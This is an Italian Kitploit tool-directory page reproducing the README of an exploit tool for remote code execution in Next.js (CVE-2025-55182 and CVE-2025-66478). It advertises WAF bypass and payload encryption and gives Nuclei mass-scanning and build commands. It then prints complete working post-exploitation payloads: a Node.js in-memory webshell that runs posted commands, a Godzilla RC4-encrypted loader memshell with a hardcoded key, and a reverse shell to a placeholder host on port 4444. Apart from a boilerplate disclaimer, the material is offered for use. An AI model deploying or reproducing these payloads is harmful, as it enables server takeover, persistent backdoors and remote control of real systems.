Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Nextjs_RCE_Exploit_Tool — Exploit per CVE-2025-55182 & CVE-2025-66478 | Kitploit
Strumenti/GitHubGitHub/pyroxenites/nextjs_rce_exploit_tool
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebBypass WAFPenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingSviluppo Payload
GitHubpyroxenites/nextjs_rce_exploit_tool

Nextjs_RCE_Exploit_Tool

Exploit per CVE-2025-55182 & CVE-2025-66478

141368 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Strumento di Exploit RCE per Next.js (CVE-2025-55182)


[!CAUTION] Dichiarazione di non responsabilità / Disclaimer

Questo strumento è destinato esclusivamente alla ricerca e all'insegnamento della sicurezza informatica. Prima di utilizzare questo strumento per i test, l'utente deve assicurarsi di aver ottenuto la legittima autorizzazione sul sistema target.

È severamente vietato l'uso per penetration test non autorizzati, attacchi dannosi o qualsiasi altra finalità illegale. Tutti i rischi e le conseguenze legali derivanti dall'uso e dallo sfruttamento delle vulnerabilità sono a carico esclusivo dell'utente e non sono imputabili agli sviluppatori del progetto.

Se non accettate questi termini, interrompete immediatamente il download o l'utilizzo di questo strumento.

Questo strumento è stato sviluppato sulla base di articoli pubblici; non viene fornita alcuna versione binaria precompilata. Si prega di revisionare il codice e compilarlo autonomamente.


🙏 Ringraziamenti / Credits

La logica principale e le tecniche di bypass di questo strumento si ispirano fortemente ai ricercatori di sicurezza della community. Un sincero ringraziamento ai seguenti esperti:

  • @maple3142
  • @lachlan2k (React2Shell)
  • @phithon (P牛)

✨ Caratteristiche / Features

  • Catene di exploit supportate:
    • Prototype Chain
    • Array Map Chain
  • Bypass WAF:
    • ✅ Codifica Unicode
    • ✅ Codifica UTF-16LE
  • OpSec:
    • 🔐 Cifratura AES del payload
  • Toolbox:
    • Esecuzione comandi: supporta le modalità sincrona (execSync) e asincrona (exec).
    • Gestione file: interfaccia in stile Esplora risorse, con supporto per navigazione, lettura e scrittura dei file.
    • Exploit avanzato: supporta l'esecuzione di codice JS nativo e il caricamento dei moduli (module._load).

🛠️ Guida rapida

1. Verifica della vulnerabilità (Nuclei)

Utilizzate Nuclei per il fingerprinting di massa e la verifica della vulnerabilità:

root@kitploit:~
nuclei -l urls.txt -t CVE-2025-55182.yaml -o result.txt

2. Compilazione ed esecuzione

root@kitploit:~
# 整理依赖
go mod tidy

# 编译
go build -ldflags="-s -w" -o ReactExploit cmd/main.go

# 运行
./ReactExploit

📸 Screenshot delle funzionalità / Screenshots

1. Codifica

Config e bypass WAF

2. Esecuzione comandi (RCE)

RCE

3. Esplorazione file

Esplora file Lettura file

4. Uso avanzato (Native JS Eval)

JS Eval Caricamento moduli

💉 Esempi di Payload

Nel modulo "Uso avanzato -> Esecuzione di codice JS nativo" è possibile utilizzare i seguenti payload per le operazioni di post-exploitation.

1. Iniezione di Memshell

cmdlinux

root@kitploit:~
(function(){
    try {
        if (global.memshell_active) return "Memshell already active!";
        var http = process.mainModule.require('http');
        var cp = process.mainModule.require('child_process');
        var qs = process.mainModule.require('querystring');
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res) {
                var url = req.url || "";
                if (req.method === 'POST' && url.indexOf('/?pass') !== -1) {
                    var bodyArr = [];
                    req.on('data', function(chunk) {
                        bodyArr.push(chunk);
                    });
                    req.on('end', function() {
                        try {
                            var bodyStr = Buffer.concat(bodyArr).toString();
                            var postData = qs.parse(bodyStr);
                            var cmd = postData['pwd'];
                            if (cmd) {
                                var output = cp.execSync(cmd).toString();
                                res.writeHead(200, {'Content-Type': 'text/plain'});
                                res.end(output);
                            } else {
                                res.writeHead(400);
                                res.end("Parameter 'pwd' is missing.");
                            }
                        } catch (e) {
                            res.writeHead(500);
                            res.end("Error: " + e.message);
                        }
                    });
                    return true;
                }
            }
            return originalEmit.apply(this, arguments);
        };
        global.memshell_active = true;
        return "Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

https://github.com/BeichenDream/GodzillaNodeJsPayload

root@kitploit:~
(function() {
    try {
        if (global.godzilla_memshell_hooked) return "Memshell already hooked!";
        var http = process.mainModule.require('http');
        var secretKey = '3c6e0b8a9c15224a'; 
        var payloadName = 'ge0b8a';
        function rc4(key, data) {
            var s = Array(256), k = Array(256);
            var i, j = 0, tmp;
            for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key.charCodeAt(i % key.length);
            }
            for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
            }
            i = j = 0;
            var out = Buffer.alloc(data.length);
            for (var idx = 0; idx < data.length; idx++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                var t = (s[i] + s[j]) % 256;
                out[idx] = data[idx] ^ s[t];
            }
            return out;
        }
        var originalEmit = http.Server.prototype.emit;
        http.Server.prototype.emit = function(event, req, res) {
            if (event === 'request' && req && res && req.method === 'POST' && (req.url || "").indexOf('/76f03711') !== -1) {
                var bodyArr = [];
                req.on('data', function(chunk) {
                    bodyArr.push(chunk);
                });
                req.on('end', async function() {
                    try {
                        var bodyStr = Buffer.concat(bodyArr).toString();
                        var json = JSON.parse(bodyStr);

                        if (json.data) {
                            var dataBuf = Buffer.from(json.data, 'base64');
                            var rawBody = rc4(secretKey, dataBuf);
                            if (global[payloadName] === undefined) {
                                try {
                                    var tmpPayload = new Function(rawBody.toString())();
                                    if (typeof tmpPayload === "object" && typeof tmpPayload.process === "function") {
                                        global[payloadName] = tmpPayload;
                                    }
                                } catch (err) {
                                }
                            }
                            if (global[payloadName] !== undefined) {
                                var result = await global[payloadName]['process'].call(global[payloadName], rawBody);
                                var resultBuf = Buffer.isBuffer(result) ? result : Buffer.from(String(result));
                                var encResult = rc4(secretKey, resultBuf);
                                res.writeHead(200, {'Content-Type': 'application/json'});
                                res.end(JSON.stringify({ "data": encResult.toString("base64") }));
                                return;
                            }
                        }
                    } catch (e) {
                    }
                   
                    res.writeHead(200, {'Content-Type': 'application/json'});
                    res.end(JSON.stringify({data: null}));
                });
                return true;
            }
            return originalEmit.apply(this, arguments);
        };
        global.godzilla_memshell_hooked = true;
        return "Godzilla Loader-Mode Memshell injected!";
    } catch (e) {
        return "Injection failed: " + e.message;
    }
})()

2. Reverse Shell

root@kitploit:~
(function(){
    try {
        var net = process.mainModule.require('net');
        var cp = process.mainModule.require('child_process');
        // 可根据环境修改为 /bin/bash
        var sh = cp.spawn('/bin/sh', ['-i']);
        var client = new net.Socket();
        
        client.on('error', function(err) {
            if (sh) sh.kill(); 
        });
        sh.on('error', function(err) {
            if (client) client.destroy();
        });
        
        client.connect(4444, 'x.x.x.x', function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return "Spawned successfully (Async)";
    } catch (e) {
        return "Failed to spawn: " + e.message;
    }
})();

Scarica lo strumento